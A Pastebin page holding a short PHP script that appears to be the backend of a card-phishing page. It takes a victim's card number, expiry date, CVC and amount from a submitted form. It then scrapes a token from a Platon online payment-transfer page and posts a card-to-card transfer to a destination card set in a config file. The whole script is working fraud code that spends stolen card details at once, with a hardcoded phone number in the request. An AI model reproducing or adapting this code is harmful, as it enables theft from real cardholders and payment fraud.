Advertisement
SpeakeazyYT

Untitled

Nov 8th, 2019
368
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.59 KB | None | 0 0
  1. <?php
  2.  
  3.     include "config.php";
  4.  
  5.     date_default_timezone_set("Europe/Moscow");
  6.  
  7.     $date = date("d-m-Y H:i");
  8.     $cardnr = str_replace(" ", "", $_POST["cardFrom"]);
  9.  
  10.     $amount = round($_POST["amount"]);
  11.  
  12.     $mounth = $_POST["cardFromMonth"];
  13.     $year = $_POST["cardFromYear"];
  14.     $cvc = $_POST["cardFromCVC"];
  15.  
  16.     // функция, отвечающая за запросы к сайту и получению массива данных.
  17.     function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
  18.         $ch = curl_init();
  19.  
  20.         curl_setopt($ch, CURLOPT_URL, $url);
  21.         curl_setopt($ch, CURLOPT_HEADER, 1);
  22.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  23.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
  24.  
  25.         if(isset($params['params'])) {
  26.             curl_setopt($ch, CURLOPT_POST, 1);
  27.             curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
  28.         }
  29.  
  30.         if(isset($params['headers'])) {
  31.             curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
  32.         }
  33.  
  34.         if(isset($params['cookies'])) {
  35.             curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
  36.         }
  37.  
  38.         if($proxy) {
  39.             curl_setopt($ch, CURLOPT_PROXY, $proxy);
  40.  
  41.             if($proxy_userpwd) {
  42.                 curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
  43.             }
  44.         }
  45.  
  46.         $result = curl_exec($ch);
  47.         $result_explode = explode("\r\n\r\n", $result);
  48.  
  49.         $headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
  50.         $content = $result_explode[count($result_explode) - 1];
  51.  
  52.         preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);
  53.  
  54.         $cookies = implode(';', $parse_cookies[1]);
  55.  
  56.         curl_close($ch);
  57.  
  58.         return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
  59.     }
  60.  
  61.     if (!$_SERVER["HTTP_REFERER"])
  62.         die('$_SERVER["HTTP_REFERER"] not found');
  63.  
  64.     if (!isset($cardnr) || !isset($_POST["cardFromMonth"]) || !isset($_POST["cardFromYear"]) || !isset($_POST["cardFromCVC"]))
  65.         die("cardFrom data not found");
  66.     else if (!isset($_POST["amount"]))
  67.         die("amount data not found");
  68.     else if (!isset($dest_card) || $dest_card == "")
  69.         die("destination card not set");
  70.     else {
  71.  
  72.         $get_main_page = post('https://secure.platononline.com/payment/transfer/PBZN9K9FYS');
  73.  
  74.         $input_req = '/<input.*?name=\"req_id\".*value=\"(.*?)\"/i';
  75.         preg_match_all($input_req, $get_main_page['content'], $req_id, PREG_SET_ORDER, 0);
  76.  
  77.         $cardnr_arr = str_split($cardnr, 4);
  78.         $dest_card_arr = str_split($dest_card, 4);
  79.  
  80.         $transfer = post('https://secure.platononline.com/payment/transfer/PBZN9K9FYS', [
  81.             'params' => http_build_query([
  82.                 'currency' => 'UAH',
  83.                 'payer_card_num1' => $cardnr_arr[0],
  84.                 'payer_card_num2' => $cardnr_arr[1],
  85.                 'payer_card_num3' => $cardnr_arr[2],
  86.                 'payer_card_num4' => $cardnr_arr[3],
  87.                 'payer_card_exp_month' => $mounth,
  88.                 'payer_card_exp_year' => $year,
  89.                 'cvv2' => $cvc,
  90.                 'amount' => $amount.".00 грн",
  91.                 'payee_card_num1' => $dest_card_arr[0],
  92.                 'payee_card_num2' => $dest_card_arr[1],
  93.                 'payee_card_num3' => $dest_card_arr[2],
  94.                 'payee_card_num4' => $dest_card_arr[3],
  95.                 'payee_phone' => '',
  96.                 'phone' => '+38(063)664-26-43',
  97.                 'payer_email' => '',
  98.                 'code' => '',
  99.                 'req_id' => $req_id[0][1],
  100.             ]),
  101.             'headers' => [
  102.                 'user-agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36',
  103.                 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
  104.                 'X-Requested-With: XMLHttpRequest',
  105.             ],
  106.             'cookies' => $get_main_page['cookies']
  107.         ]);
  108.        
  109.         print_r($transfer);
  110.  
  111.     }
  112.  
  113. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement